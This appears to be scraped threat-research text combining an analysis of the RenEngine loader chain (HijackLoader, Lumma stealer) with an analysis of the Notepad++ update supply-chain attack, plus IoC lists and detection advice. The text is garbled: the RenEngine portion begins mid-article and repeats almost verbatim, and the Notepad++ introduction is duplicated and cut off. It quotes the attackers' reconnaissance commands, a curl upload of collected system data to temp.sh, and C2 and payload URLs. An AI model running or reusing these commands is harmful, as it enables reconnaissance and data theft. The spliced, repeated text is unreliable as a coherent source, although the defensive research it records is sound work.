There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

We often describe cases of malware distribution under the guise of game cheats and pirated software. Sometimes such methods are used to spread complex malware that employs advanced techniques and sophisticated infection chains.

In February 2026, researchers from Howler Cell announced the discovery of a mass campaign distributing pirated games infected with a previously unknown family of malware. It turned out to be a loader called RenEngine, which was delivered to the device using a modified version of the Ren’Py engine-based game launcher. Kaspersky solutions detect the RenEngine loader as Trojan.Python.Agent.nb and HEUR:Trojan.Python.Agent.gen.

However, this threat is not new. Our solutions began detecting the first samples of the RenEngine loader in March 2025, when it was used to distribute the Lumma stealer (Trojan-PSW.Win32.Lumma.gen).

In the ongoing incidents, ACR Stealer (Trojan-PSW.Win32.ACRstealer.gen) is being distributed as the final payload. We have been monitoring this campaign for a long time and will share some details in this article.

Incident analysis

Disguise as a visual novel

Let’s look at the first incident, which we detected in March 2025. At that time, the attackers distributed the malware under the guise of a hacked game on a popular gaming web resource.

The website featured a game download page with two buttons: Free Download Now and Direct Download. Both buttons had the same functionality: they redirected users to the MEGA file-sharing service, where they were offered to download an archive with the “game.”

When the “game” was launched, the download process would stop at 100%. One might think that the game froze, but that was not the case — the “real” malicious code just started working.

“Game” source files analysis

After analyzing the source files, we found Python scripts that initiated the initial device infection. These scripts imitated the endless loading of the game. In addition, they contained the is_sandboxed function for bypassing the sandbox and xor_decrypt_file for decrypting the malicious payload. Using the latter, the script decrypts the ZIP archive, unpacks its contents into the .temp directory, and launches the unpacked files.

There are five files in the .temp directory. The DKsyVGUJ.exe executable is not malicious. Its original name is Ahnenblatt4.exe, and it is a well-known legitimate application for organizing genealogical data. The borlndmm.dll library also does not contain malicious code; it implements the memory manager required to run the executable. Another library, cc32290mt.dll, contains a code snippet patched by attackers that intercepts control when the application is launched and deploys the first stage of the payload in the process memory.

HijackLoader

The dbghelp.dll system library is used as a “container” to launch the first stage of the payload. It is overwritten in memory with decrypted shellcode obtained from the gayal.asp file using the cc32290mt.dll library. The resulting payload is HijackLoader. This is a relatively new means of delivering and deploying malicious implants. A distinctive feature of this malware family is its modularity and configuration flexibility. HijackLoader was first detected and described in the summer of 2023. More detailed information about this loader is available to customers of the Kaspersky Intelligence Reporting Service.

The final payload can be delivered in two ways, depending on the configuration parameters of the malicious sample. The main HijackLoader ti module is used to launch and prepare the process for the final payload injection. In some cases, an additional module is also used, which is injected into an intermediate process launched by the main one. The code that performs the injection is the same in both cases.

Before creating a child process, the configuration parameters are encrypted using XOR and saved to the %TEMP% directory with a random name. The file name is written to the system environment variables.

In the analyzed sample, the execution follows a longer path with an intermediate child process, cmd.exe. It is created in suspended mode by calling the auxiliary module modCreateProcess. Then, using the ZwCreateSection and ZwMapViewOfSection system API calls, the code of the same dbghelp.dll library is loaded into the address space of the process, after which it intercepts control.

Next, the ti module, launched inside the child process, reads the hap.eml file, from which it decrypts the second stage of HijackLoader. The module then loads the pla.dll system library and overwrites the beginning of its code section with the received payload, after which it transfers control to this library.

The decrypted payload is an EXE file, and the configuration parameters are set to inject it into the explorer.exe child process. The payload is written to the memory of the child process in several stages:

1. First, the malicious payload is written to a temporary file on disk using the transaction mechanism provided by the Windows API. The payload is written in several stages and not in the order in which the data is stored in the file. The MZ signature, with which any PE file begins, is written last with a delay.
   
   

   Writing the payload to a temporary file

2. After that, the payload is loaded from the temporary file into the address space of the current process using the ZwCreateSection call. The transaction that wrote to the file is rolled back, thus deleting the temporary file with the payload.
3. Next, the sample uses the modCreateProcess module to launch the child process explorer.exe and injects the payload into it by creating a shared memory region with the ZwMapViewOfSection call.
   
   

   Payload injection into the child process

   
   Another HijackLoader module, rshell, is used to launch the shellcode. Its contents are also injected into the child process, replacing the code located at its entry point.
   
   

   The rshell module injection

4. The last step performed by the parent process is starting a thread in the child process by calling ZwResumeThread. After that, the thread starts executing the rshell module code placed at the child process entry point, and the parent process terminates.

   The rshell module prepares the final malicious payload. Once it has finished, it transfers control to another HijackLoader module called ESAL. It replaces the contents of rshell with zeros using the memset function and launches the final payload, which is a stealer from the Lumma family (Trojan-PSW.Win32.Lumma).

In addition to the modules described above, this HijackLoader sample contains the following modules, which were used at intermediate stages: COPYLIST, modTask, modUAC, and modWriteFile.
Kaspersky solutions detect HijackLoader with the verdicts Trojan.Win32.Penguish and Trojan.Win32.DllHijacker.

Not only games

In addition to gaming sites, we found that attackers created dozens of different web resources to distribute RenEngine under the guise of pirated software. On one such site, for example, users can supposedly download an activated version of the CorelDRAW graphics editor.

When the user clicks the Descargar Ahora (“Download Now”) button, they are redirected several times to other malicious websites, after which an infected archive is downloaded to their device.

Distribution

According to our data, since March 2025, RenEngine has affected users in the following countries:

Distribution of incidents involving the RenEngine loader by country (TOP 20), February 2026 (download)

The distribution pattern of this loader suggests that the attacks are not targeted. At the time of publication, we have recorded the highest number of incidents in Russia, Brazil, Türkiye, Spain, and Germany.

Recommendations for protection

The format of game archives is generally not standardized and is unique for each game. This means that there is no universal algorithm for unpacking and checking the contents of game archives. If the game engine does not check the integrity and authenticity of executable resources and scripts, such an archive can become a repository for malware if modified by attackers. Despite this, Kaspersky Premium protects against such threats with its Behavior Detection component.

The distribution of malware under the guise of pirated software and hacked games is not a new tactic. It is relatively easy to avoid infection by the malware described in this article: simply install games and programs from trusted sites. In addition, it is important for gamers to remember the need to install specialized security solutions. This ongoing campaign employs the Lumma and ACR stylers, and Vidar was also found — none of these are new threats, but rather long-known malware. This means that modern antivirus technologies can detect even modified versions of the above-mentioned stealers and their alternatives, preventing further infection.

Indicators of compromise

12EC3516889887E7BCF75D7345E3207A – setup_game_8246.zip
D3CF36C37402D05F1B7AA2C444DC211A – __init.py__
1E0BF40895673FCD96A8EA3DDFAB0AE2 – cc32290mt.dll
2E70ECA2191C79AD15DA2D4C25EB66B9 – Lumma Stealer

hxxps://hentakugames[.]com/country-bumpkin/
hxxps://dodi-repacks[.]site
hxxps://artistapirata[.]fit
hxxps://artistapirata[.]vip
hxxps://awdescargas[.]pro
hxxps://fullprogramlarindir[.]me
hxxps://gamesleech[.]com
hxxps://parapcc[.]com
hxxps://saglamindir[.]vip
hxxps://zdescargas[.]pro
hxxps://filedownloads[.]store
hxxps://go[.]zovo[.]ink

Lumma C2
hxxps://steamcommunity[.]com/profiles/76561199822375128
hxxps://localfxement[.]live
hxxps://explorebieology[.]run
hxxps://agroecologyguide[.]digital
hxxps://moderzysics[.]top
hxxps://seedsxouts[.]shop
hxxps://codxefusion[.]top
hxxps://farfinable[.]top
hxxps://techspherxe[.]top
hxxps://cropcircleforum[.]today

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador, and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs
  • proshow.phd
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
• Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

• Changed the system information upload URL to https://self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
• Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• http://95.179.213[.]0/update/install.exe;
• http://95.179.213[.]0/update/update.exe;
• http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

1. Indicators of compromise:
   1. malicious URLs used to extract information from the targeted infrastructure;
   2. malicious file names and hashes that were detected in this campaign.
2. Suspicious activity on the host:
   1. unusual command lines specific to these attacks;
   2. suspicious network activity from Notepad++ processes and an abnormal process tree;
   3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 — load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 — load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 — alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd — alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 — alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador, and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
